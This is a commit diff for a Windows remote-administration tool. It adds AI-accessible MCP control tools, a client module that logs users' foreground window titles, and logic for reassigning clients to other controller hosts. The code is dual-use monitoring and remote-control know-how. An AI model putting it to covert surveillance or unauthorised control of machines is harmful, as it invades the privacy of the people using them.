Feature: Add MCP device management-control tools (kill/window/service/power)

Add P7 management-control tools behind a single McpManage flag (plus
McpReadonly=0): kill_process, operate_window, control_service and
power_action. The write tools run a ready->confirm lifecycle on their
sub-connection, using a new followUp/followUpSent field to tell the two
arrivals of the same TOKEN_*LIST apart; the write command and the follow-up
refresh command go out as two separate Send2Client calls, with a new
WaitSendIdle() (context.h / Server.h) draining the outbound buffer in between
so the same buffer is never WSASend'd concurrently.

McpSettingsDlg gains a "management operations" checkbox (IDC_MCP_MANAGE), the
main toolbar gains an MCP entry button, and en/de/zh-TW strings are synced.
power_action is fire-and-forget over the main connection (no confirmation).

Verified end-to-end against a real Windows 10/VMware client: kill_process
returns remaining:[] and operate_window/control_service return ok:true with
their confirm packet arriving after an HTTP split. Verification surfaced a
prerequisite parser bug, fixed separately in a72e6eb, where HeaderParser
latched m_bShouldUnmask FALSE on HTTP continuation chunks and dropped the
confirm packet.

Co-Authored-By: deepseek-v4-pro

ReadMe.md

@@ -378,6 +378,34 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日志
 
+### v1.3.9 (2026.9.2)
+
+**MCP 服务端集成（AI 远程管理）& 远程控制与文件传输闭环 & 主控增强**
+
+**新功能：**
+- **MCP 服务端集成**：本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 接口，Bearer Token 鉴权，「扩展 > MCP 设置」对话框配置启用 / 端口 / 绑定 / Token；23 个工具覆盖「观测 → 执行 → 控制 → 传输」全链路，默认关闭、分级开关（只读 / 白名单 / 终端 / 远程控制 / 文件传输）全面审计
+- **MCP 观测类工具（只读）**：search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot（可选 max_width）、list_services、get_client_log、list_registry、get_audit_log；单飞请求注册表 20s 超时 + 编码修正（clientType / clientID 定位）
+- **MCP 远程终端工具**：exec_command 一次性执行 + terminal_open / terminal_exec / terminal_close 持久终端（cwd / 环境保留，空闲 300s 清扫），哨兵判定与 timeout_ms 解析修复
+- **MCP 远程控制工具**：remote_open / remote_close 会话 + remote_keyboard（key_down / up / press / type）、remote_mouse（move / click / drag / scroll）、remote_clipboard 注入；与人工 Web 查看双向互斥，会话状态机 busy / closed 加固
+- **MCP 文件传输工具**：download_file（V2 协议 + SHA-256 校验）、upload_file（主连接上传），客户端侧 `COMMAND_SEND_FILE_V2` 懒初始化 `InitFileUpload` 修复上传截断
+- **客户端活动历史**：记录活跃窗口历史（上限 500 条、跳过 <5s），主机「客户端管理」子菜单新增「活动历史」对话框，Unicode 编辑控件正确渲染 UTF-8 标题
+- **日志右键菜单三连**：消息日志右键新增「在线通知」「拉黑 IP」「解封 IP」，IPv4 提取即时生效
+- **列表排序记忆**：主机列表、进程 / 窗口列表排序偏好持久化（`list\*Sort` 注册表键），下次启动默认沿用
+
+**改进：**
+- 重复连接 standby 处理：重复登录暂存 standby 待旧连接超时 / 断线后晋升，避免循环重连与误报离线
+- 远程桌面 / 虚拟屏幕对话框标题显示主机备注而非 IP（无备注回退 IP）
+- 主机列表三态排序（升序 → 降序 → 恢复默认，默认序按在线时间重建）
+- 在线主机右键三个菜单项新增图标（位图数组 63→66）
+
+**Bug 修复：**
+- 客户端屏幕控制批解析错误：记录数是 7 的倍数时误判 MSG32 致注入错乱（`%48==0` 优先）
+- 心跳延迟更新 use-after-free：跨 PostMessage 持有 IoRefCount + memcpy 显式截断
+- ONLINELIST_PRIVILEGE 枚举错位损坏历史数据库（权限列移至 16）
+- 远程桌面光标跨对话框污染（改 `OnSetCursor` 逐窗口路由）
+- 客户端日志对话框 EDIT 上限停止刷新（`SetLimitText(0)`）
+- 窗口管理器视图检查读取陈旧状态、进程列表架构列排序无效、FRP / NAT 下窗口标题乱码
+
 ### v1.3.8 (2026.8.3)
 
 **SYSTEM 权限客户端 & 主控可用性增强 & Bug 修复**

ReadMe_EN.md

@@ -378,6 +378,34 @@ Valid     : 2026-02-01 to 2028-02-01
 
 ## Changelog
 
+### v1.3.9 (2026.9.2)
+
+**MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**
+
+**New features:**
+- **MCP server integration**: local JSON-RPC 2.0 endpoint on `127.0.0.1:6544` with Bearer token auth, configured via "Extensions > MCP Settings"; 23 tools spanning observe → execute → control → transfer, disabled by default with per-tier gates (read-only / whitelist / terminal / remote control / file transfer) and full audit logging
+- **MCP read-only observation tools**: search_hosts, get_host_detail, list_processes, list_windows, get_activity_history, list_files, get_screenshot (optional max_width), list_services, get_client_log, list_registry, get_audit_log; single-flight pending registry with 20s timeout, plus encoding fixes (clientType / clientID resolution)
+- **MCP remote terminal tools**: one-shot exec_command plus persistent terminal_open / terminal_exec / terminal_close (cwd and environment preserved, 300s idle sweep); sentinel detection and timeout_ms parsing fixes
+- **MCP remote control tools**: remote_open / remote_close sessions plus remote_keyboard (key_down / up / press / type), remote_mouse (move / click / drag / scroll), and remote_clipboard injection; two-way mutual exclusion with human Web viewing and a hardened busy/closed session state machine
+- **MCP file transfer tools**: download_file (V2 protocol + SHA-256 verification) and upload_file (main-connection upload); client-side lazy `InitFileUpload` in `COMMAND_SEND_FILE_V2` fixes truncated uploads
+- **Client activity history**: records active-window history (capped at 500 entries, skips <5s); new "Activity History" item under the host's Client Management menu with a Unicode edit control for correct UTF-8 title rendering
+- **Log context-menu trio**: right-click "Online Notify", "Ban IP", and "Unban IP" on the message log, with IPv4 extraction applied immediately
+- **Sort preference memory**: host list and process/window list sort preferences persisted (`list\*Sort` registry keys), restored on next launch
+
+**Improvements:**
+- Duplicate connections parked as standby and promoted after the old connection times out / disconnects, avoiding reconnect loops and false offline notifications
+- Remote desktop and virtual screen dialog titles show the host remark instead of the IP (falling back to IP)
+- Three-state host list sorting (ascending → descending → restore default, default rebuilt by online time)
+- Icons added to three online-host context menu items (bitmap array 63→66)
+
+**Bug fixes:**
+- Client screen-control batch misparse: record count that is a multiple of 7 was misclassified as MSG32, garbling injected input (`%48==0` checked first)
+- Heartbeat deferred-update use-after-free: IoRefCount held across PostMessage plus explicit memcpy truncation
+- ONLINELIST_PRIVILEGE enum shift corrupted the history host database (column moved to 16)
+- Remote desktop cursor cross-contamination across dialogs (routed via `OnSetCursor` per window)
+- Client log dialog stopped refreshing past the EDIT control limit (`SetLimitText(0)`)
+- Window manager view check reading stale state, process-list architecture column sort no-op, and FRP/NAT window-title mojibake
+
 ### v1.3.8 (2026.8.3)
 
 **SYSTEM-level Client & Master Usability Enhancements & Bug Fixes**

ReadMe_TW.md

@@ -378,6 +378,34 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日誌
 
+### v1.3.9 (2026.9.2)
+
+**MCP 伺服端整合（AI 遠端管理）& 遠端控制與檔案傳輸閉環 & 主控增強**
+
+**新功能：**
+- **MCP 伺服端整合**：本地 `127.0.0.1:6544` 暴露 JSON-RPC 2.0 介面，Bearer Token 鑑權，「擴充 > MCP 設定」對話框設定啟用 / 連接埠 / 綁定 / Token；23 個工具覆蓋「觀測 → 執行 → 控制 → 傳輸」全鏈路，預設關閉、分級開關（唯讀 / 白名單 / 終端 / 遠端控制 / 檔案傳輸）全面稽核
+- **MCP 觀測類工具（唯讀）**：search_hosts、get_host_detail、list_processes、list_windows、get_activity_history、list_files、get_screenshot（可選 max_width）、list_services、get_client_log、list_registry、get_audit_log；單飛請求登錄表 20s 逾時 + 編碼修正（clientType / clientID 定位）
+- **MCP 遠端終端工具**：exec_command 一次性執行 + terminal_open / terminal_exec / terminal_close 持久終端（cwd / 環境保留，閒置 300s 清掃），哨兵判定與 timeout_ms 解析修復
+- **MCP 遠端控制工具**：remote_open / remote_close 工作階段 + remote_keyboard（key_down / up / press / type）、remote_mouse（move / click / drag / scroll）、remote_clipboard 注入；與人工 Web 查看雙向互斥，工作階段狀態機 busy / closed 加固
+- **MCP 檔案傳輸工具**：download_file（V2 協定 + SHA-256 校驗）、upload_file（主連線上傳），用戶端側 `COMMAND_SEND_FILE_V2` 懶初始化 `InitFileUpload` 修復上傳截斷
+- **用戶端活動歷史**：記錄活躍視窗歷史（上限 500 條、跳過 <5s），主機「用戶端管理」子選單新增「活動歷史」對話框，Unicode 編輯控件正確渲染 UTF-8 標題
+- **訊息右鍵選單三連**：訊息記錄右鍵新增「線上通知」「封鎖 IP」「解封 IP」，IPv4 提取即時生效
+- **列表排序記憶**：主機列表、處理程序 / 視窗列表排序偏好持久化（`list\*Sort` 登錄檔鍵），下次啟動預設沿用
+
+**改進：**
+- 重複連線 standby 處理：重複登入暫存 standby 待舊連線逾時 / 斷線後晉升，避免循環重連與誤報離線
+- 遠端桌面 / 虛擬螢幕對話框標題顯示主機備註而非 IP（無備註回退 IP）
+- 主機列表三態排序（升冪 → 降冪 → 恢復預設，預設序按上線時間重建）
+- 線上主機右鍵三個選單項目新增圖示（位圖陣列 63→66）
+
+**Bug 修復：**
+- 用戶端螢幕控制批次解析錯誤：記錄數是 7 的倍數時誤判 MSG32 致注入錯亂（`%48==0` 優先）
+- 心跳延遲更新 use-after-free：跨 PostMessage 持有 IoRefCount + memcpy 顯式截斷
+- ONLINELIST_PRIVILEGE 列舉錯位損壞歷史資料庫（權限列移至 16）
+- 遠端桌面游標跨對話框污染（改 `OnSetCursor` 逐視窗路由）
+- 用戶端記錄對話框 EDIT 上限停止刷新（`SetLimitText(0)`）
+- 視窗管理員檢視檢查讀取陳舊狀態、處理程序列表架構欄排序無效、FRP / NAT 下視窗標題亂碼
+
 ### v1.3.8 (2026.8.3)
 
 **SYSTEM 權限用戶端 & 主控可用性增強 & Bug 修復**

client/ActivityHistory.cpp

@@ -0,0 +1,126 @@
+// ActivityHistory.cpp: 客户端历史活动记录采集模块
+
+#include "stdafx.h"
+#include "ActivityHistory.h"
+#include "KernelManager.h"   // ActivityWindow
+
+ActivityHistory& ActivityHistory::Instance()
+{
+    static ActivityHistory inst;
+    return inst;
+}
+
+void ActivityHistory::Start()
+{
+    if (m_started.exchange(true))
+        return;
+    m_running = true;
+    m_thread = std::thread(&ActivityHistory::Loop, this);
+}
+
+void ActivityHistory::Stop()
+{
+    m_running = false;
+    if (m_thread.joinable())
+        m_thread.join();
+}
+
+std::string ActivityHistory::Dump() const
+{
+    std::lock_guard<std::mutex> lock(m_mutex);
+    std::string out;
+    // 当前进行中的窗口：若已持续达到阈值，作为最新一条返回
+    if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC)
+        out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n";
+    for (const auto& r : m_records)
+        out += r + "\n";
+    return out;
+}
+
+void ActivityHistory::Loop()
+{
+    // 空闲打断阈值：远大于 ACTIVITY_MIN_DWELL_SEC，避免“停在一个窗口上看几秒”被过早结账。
+    const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000;
+
+    ActivityWindow aw;
+    HWND lastHwnd = NULL;
+    std::string lastTitle;
+    std::string startTime;
+    int dwellSec = 0;
+
+    while (m_running) {
+        // 取前台窗口句柄 + 标题；空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空
+        HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS);
+        std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS);
+
+        {
+            std::lock_guard<std::mutex> lock(m_mutex);
+
+            if (hwnd == NULL || title.empty()) {
+                // 空闲/锁定/无标题：结账上一个窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = NULL;
+                lastTitle.clear();
+                dwellSec = 0;
+            } else if (hwnd == lastHwnd) {
+                // 同一窗口：即使标题动态变化也连续累计，标题取最新值
+                ++dwellSec;
+                lastTitle = title;
+            } else {
+                // 窗口切换：结账上一个，开始累计新窗口
+                if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC)
+                    m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec));
+                lastHwnd = hwnd;
+                lastTitle = title;
+                startTime = NowStr();
+                dwellSec = 1;
+            }
+
+            while (m_records.size() > ACTIVITY_HISTORY_MAX)
+                m_records.pop_back();
+
+            m_curTitle = lastTitle;
+            m_curStartTime = startTime;
+            m_curDwellSec = dwellSec;
+        }
+
+        Sleep(1000);
+    }
+}
+
+std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec)
+{
+    // 标题里的换行会破坏“每行一条”，做最小清洗
+    std::string t;
+    t.reserve(title.size());
+    for (char c : title) {
+        if (c == '\r' || c == '\n') c = ' ';
+        t += c;
+    }
+    return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec);
+}
+
+std::string ActivityHistory::FormatDuration(int sec)
+{
+    if (sec < 0) sec = 0;
+    if (sec < 60)
+        return std::to_string(sec) + "s";
+    if (sec < 3600) {
+        int m = sec / 60, s = sec % 60;
+        return s ? std::to_string(m) + "m" + std::to_string(s) + "s"
+                 : std::to_string(m) + "m";
+    }
+    int h = sec / 3600, m = (sec % 3600) / 60;
+    return std::to_string(h) + "h" + std::to_string(m) + "m";
+}
+
+std::string ActivityHistory::NowStr()
+{
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char buf[32];
+    sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
+              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
+    return buf;
+}

client/ActivityHistory.h

@@ -0,0 +1,54 @@
+#pragma once
+#include <string>
+#include <deque>
+#include <mutex>
+#include <thread>
+#include <atomic>
+
+// 历史活动记录：
+//  每条格式：[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
+//  倒序存储（最新在前）。后台线程每 1 秒采样一次前台窗口。
+#define ACTIVITY_MIN_DWELL_SEC  5    // 一闪而过阈值（秒）：驻留低于此值不记录
+#define ACTIVITY_IDLE_BREAK_SEC 300  // 空闲打断阈值（秒）：空闲超过此值才结账当前窗口
+                                     // 注意：与心跳“活动窗口”列的 6s 判定不同，这里要远大于 MIN_DWELL，
+                                     // 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
+#define ACTIVITY_HISTORY_MAX    500  // 内存保留的最大记录条数
+
+class ActivityHistory
+{
+public:
+    static ActivityHistory& Instance();
+
+    // 启动常驻采样线程（幂等，重复调用无副作用）
+    void Start();
+    // 停止采样线程
+    void Stop();
+
+    // 返回全部历史记录（最新在前，多行文本，每行一条）
+    std::string Dump() const;
+
+private:
+    ActivityHistory() = default;
+    ~ActivityHistory() { Stop(); }
+    ActivityHistory(const ActivityHistory&) = delete;
+    ActivityHistory& operator=(const ActivityHistory&) = delete;
+
+    void Loop();
+
+    // 拼一条记录字符串
+    static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
+    // 时长格式化：Ns / Nm / NmNs / NhNm
+    static std::string FormatDuration(int sec);
+    // 当前时间戳 "YYYY-MM-DD HH:MM:SS"
+    static std::string NowStr();
+
+    mutable std::mutex m_mutex;
+    std::deque<std::string> m_records;   // 已完成记录，最新在前
+    std::string m_curTitle;              // 当前进行中的窗口标题
+    std::string m_curStartTime;          // 当前窗口的起始时间
+    int         m_curDwellSec = 0;       // 当前窗口已连续活跃秒数
+
+    std::atomic<bool> m_running{ false };
+    std::atomic<bool> m_started{ false };
+    std::thread m_thread;
+};

client/Audio.cpp

@@ -74,6 +74,7 @@ CAudio::~CAudio()
         WAIT (m_hThreadCallBack, 30);
         if (m_hThreadCallBack)
             Mprintf("没有成功关闭waveInCallBack.\n");
+        Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
         TerminateThread(m_Thread, -999);
         m_Thread = NULL;
     }

client/ClientDll.cpp

@@ -3,6 +3,7 @@
 
 #include "stdafx.h"
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include <common/iniFile.h>
 #include <common/LANChecker.h>
 #include <common/VerifyV2.h>
@@ -65,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
     return S_CLIENT_NORMAL == This->g_bExit;
 }
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
 {
     auto v = StringToVector(remoteAddr, ':', 2);
     if (v[0].empty() || v[1].empty())
         return nullptr;
     auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
     a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
+    if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
+        a->g_Connection->iHeaderEnc = headerEnc;
     return a;
 }
 
@@ -588,6 +591,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
     std::string ip = settings.ServerIP();
     int port = settings.ServerPort();
     Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
+    ActivityHistory::Instance().Start();
     if (!app.m_bShared) {
         auto now = time(0);
         valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -595,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
             auto saved_ip = cfg.GetStr("settings", "master");
             auto saved_port = cfg.GetInt("settings", "port");
             settings.SetServer(saved_ip.c_str(), saved_port);
+            auto saved_proto = cfg.GetStr("settings", "master_proto");
+            if (saved_proto == "0" || saved_proto == "1")
+                settings.iHeaderEnc = atoi(saved_proto.c_str());
             Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
                     int(valid_to-now));
         }
@@ -615,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
         auto a = cfg.GetStr("settings", "share_list");
         auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
         for (int i = 0; i < shareList.size(); ++i) {
-            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
+            auto v = StringToVector(shareList[i], ':', 3);
+            int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
+            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
             if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
             Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
         }

client/ClientDll.h

@@ -130,7 +130,7 @@ public:
     }
 };
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
 
 // 启动核心线程，参数为：ClientApp
 DWORD WINAPI StartClient(LPVOID lParam);

client/ClientDll_vs2015.vcxproj

@@ -178,6 +178,7 @@
     <ClCompile Include="Audio.cpp" />
     <ClCompile Include="AudioManager.cpp" />
     <ClCompile Include="Buffer.cpp" />
+    <ClCompile Include="ActivityHistory.cpp" />
     <ClCompile Include="CaptureVideo.cpp" />
     <ClCompile Include="clang_rt_compat.c" />
     <ClCompile Include="ClientDll.cpp" />
@@ -225,6 +226,7 @@
     <ClInclude Include="..\common\zstd_wrapper.h" />
     <ClInclude Include="..\server\2015Remote\pwd_gen.h" />
     <ClInclude Include="Audio.h" />
+    <ClInclude Include="ActivityHistory.h" />
     <ClInclude Include="AudioManager.h" />
     <ClInclude Include="Buffer.h" />
     <ClInclude Include="CaptureVideo.h" />

client/KernelManager.cpp

@@ -10,6 +10,7 @@
 #include <fstream>
 #include <corecrt_io.h>
 #include "ClientDll.h"
+#include "ActivityHistory.h"
 #include "MemoryModule.h"
 #include "common/dllRunner.h"
 #include "server/2015Remote/pwd_gen.h"
@@ -822,6 +823,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
         m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
         break;
     }
+    case COMMAND_QUERY_ACTIVITY: {
+        // 主连接一次性快照：直接 dump 历史活动并回传
+        std::string text = ActivityHistory::Instance().Dump();
+        std::vector<BYTE> pkt(1 + text.size());
+        pkt[0] = TOKEN_REPORT_ACTIVITY;
+        if (!text.empty())
+            memcpy(pkt.data() + 1, text.data(), text.size());
+        m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
+        break;
+    }
     case CMD_SET_GROUP: {
         std::string group = std::string((char*)szBuffer + 1);
         m_cfg->SetStr("settings", "group_name", group);
@@ -1008,6 +1019,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     case COMMAND_SHARE:
     case COMMAND_ASSIGN_MASTER:
         if (ulLength > 2) {
+            // 解析末尾协议段（Shine=0 / HELL=1，旧命令无此段则 -1 沿用烘焙值）
+            int shareProto = -1;
+            {
+                auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
+                if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
+                    shareProto = atoi(pv[2].c_str());
+                else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
+                    shareProto = atoi(pv[3].c_str());
+            }
             switch (szBuffer[1]) {
             case SHARE_TYPE_YAMA_FOREVER: {
                 auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1018,6 +1038,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                 if (now <= valid_to) break; // Avoid assign again
                 m_cfg->SetStr("settings", "master", v[0]);
                 m_cfg->SetStr("settings", "port", v[1]);
+                if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                    m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
                 float days = atof(v[2].c_str());
                 if (days > 0) {
                     auto valid_to = time(0) + days*86400;
@@ -1036,6 +1058,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     if (v[0].empty() || v[1].empty())
                         break;
                     auto share = v[0] + ":" + v[1];
+                    if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
+                        share += ":" + std::to_string(shareProto);
                     auto list = m_cfg->GetStr("settings", "share_list");
                     auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
                     if (VectorContains(shareList, share)) break;
@@ -1043,7 +1067,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
                     m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
                     Mprintf("Share client to new master: %s\n", share.c_str());
                 }
-                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
+                auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
                 if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
                 break;
             }
@@ -1368,6 +1392,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
     }
 
     case COMMAND_SEND_FILE_V2: {
+        // 主连接接收 V2 上传：确保文件传输模块已初始化（RecvFileChunkV2 依赖 g_status==1）。
+        // static 标志保证进程内只初始化一次，不随主连接重连反复 Init/Uninit。
+        static bool s_v2RecvInited = false;
+        if (!s_v2RecvInited) {
+            InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
+            s_v2RecvInited = true;
+        }
         // C2C/V2 文件接收（RecvFileChunkV2 内部会打印进度）
         int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
             nullptr, m_hash, m_hmac, m_MyClientID);

client/KernelManager.h

@@ -40,6 +40,24 @@ public:
         return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
     }
 
+    // 返回当前活跃窗口标题；若空闲（idle ≥ threshold_ms）或取不到标题则返回空串。
+    // 供历史活动采集使用，避免“判定活跃”与“取标题”之间的竞态窗口。
+    std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return std::string();
+        return GetActiveWindowTitle();
+    }
+
+    // 返回当前前台窗口句柄；空闲（idle ≥ threshold_ms）返回 NULL。
+    // 历史活动按窗口（HWND）而非标题字符串累计：标题动态变化时不会反复归零。
+    HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
+    {
+        if (GetUserIdleTime() >= threshold_ms)
+            return NULL;
+        return GetForegroundWindow();
+    }
+
 private:
     std::string FormatMilliseconds(DWORD ms)
     {

client/Manager.cpp

@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
     HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
 
     if (!hInputDesktop) {
-        Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
+        // 限制失败日志频率：锁屏/无交互桌面/权限不足（如 ERROR_ACCESS_DENIED=5）时，
+        // 这些错误会随调用循环每秒触发、刷屏严重，这里最多每分钟记录一次。
+        DWORD err = GetLastError();  // 立即捕获 OpenInputDesktop 的错误，避免后续调用覆盖
+
+        static DWORD s_lastDesktopFailLog = 0;
+        DWORD now = GetTickCount();
+        bool logDue = (now - s_lastDesktopFailLog >= 60000);
+        if (logDue)
+            s_lastDesktopFailLog = now;
+
+        if (logDue)
+            Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
 
         HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
         if (hWinSta) {
             SetProcessWindowStation(hWinSta);
             hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
             if (!hInputDesktop) {
-                Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
+                err = GetLastError();
+                if (logDue)
+                    Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
                 hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
                 if (!hInputDesktop) {
-                    Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
+                    err = GetLastError();
+                    if (logDue)
+                        Mprintf("OpenDesktop Default failed: %d\n", err);
                 }
             }
         } else {
-            Mprintf("OpenWindowStation failed: %d\n", GetLastError());
+            err = GetLastError();
+            if (logDue)
+                Mprintf("OpenWindowStation failed: %d\n", err);
         }
     }
     return hInputDesktop;

client/RegisterManager.cpp

@@ -9,6 +9,14 @@
 
 #if ENABLE_REGISTRY
 
+// 与 RegisterOperation.cpp 的 REGMSG 同构（int count + DWORD size + DWORD valsize = 12 字节），
+// 此处仅用于构造"空结果包"（count=0），无需跨文件共享完整定义。
+struct REGMSG {
+    int   count;   //名字个数
+    DWORD size;    //名字大小
+    DWORD valsize; //值大小
+};
+
 //////////////////////////////////////////////////////////////////////
 // Construction/Destruction
 //////////////////////////////////////////////////////////////////////
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
     if(szPath!=NULL) {
         Opt.SetPath(szPath);
     }
+    // 子键包（TOKEN_REG_PATH）：无子键时也回传空包，保证服务端（含 MCP 无头查询）
+    // 能确定性收齐 PATH+KEY 两包，无需靠超时猜测是否有第二包。
     char *szBuffer= Opt.FindPath();
     if(szBuffer!=NULL) {
         m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
         //目录下的目录
         LocalFree(szBuffer);
+    } else {
+        char empty[1 + sizeof(REGMSG)] = { 0 };
+        empty[0] = TOKEN_REG_PATH;
+        m_ClientObject->Send2Server(empty, sizeof(empty));
     }
+    // 值包（TOKEN_REG_KEY）：同上，无值时也回传空包。
     szBuffer = Opt.FindKey();
     if(szBuffer!=NULL) {
         //目录下的文件
         m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
         LocalFree(szBuffer);
+    } else {
+        char empty[1 + sizeof(REGMSG)] = { 0 };
+        empty[0] = TOKEN_REG_KEY;
+        m_ClientObject->Send2Server(empty, sizeof(empty));
     }
 }
 

client/RegisterOperation.cpp

@@ -21,10 +21,13 @@ enum MYKEY {
 
 
 enum KEYVALUE {
-    MREG_SZ,
+    MREG_SZ,         // REG_SZ
-    MREG_DWORD,
+    MREG_DWORD,      // REG_DWORD
-    MREG_BINARY,
+    MREG_BINARY,     // REG_BINARY
-    MREG_EXPAND_SZ
+    MREG_EXPAND_SZ,  // REG_EXPAND_SZ
+    MREG_MULTI_SZ,   // REG_MULTI_SZ
+    MREG_QWORD,      // REG_QWORD
+    MREG_NONE        // REG_NONE / 未知类型
 };
 
 struct REGMSG {
@@ -70,7 +73,7 @@ char* RegisterOperation::FindPath()
     char *szBuffer=NULL;
     HKEY		hKey;			//注册表返回句柄
     /*打开注册表 User  kdjfjkf\kdjfkdjf\  */
-    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
+    if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey)==ERROR_SUCCESS) { //打开
         DWORD dwIndex=0,NameCount,NameMaxLen;
         DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
         //这就是枚举了
@@ -93,7 +96,7 @@ char* RegisterOperation::FindPath()
             REGMSG msg;                     //数据头
             msg.size=KeySize;
             msg.count=KeyCount;
-            memcpy(szBuffer+1,(void*)&msg,Size);
+            memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
 
             char * szTemp=new char[KeySize];
             for(dwIndex=0; dwIndex<KeyCount; dwIndex++) {	//枚举项
@@ -124,7 +127,7 @@ char* RegisterOperation::FindKey()
 
     char *szBuffer=NULL;
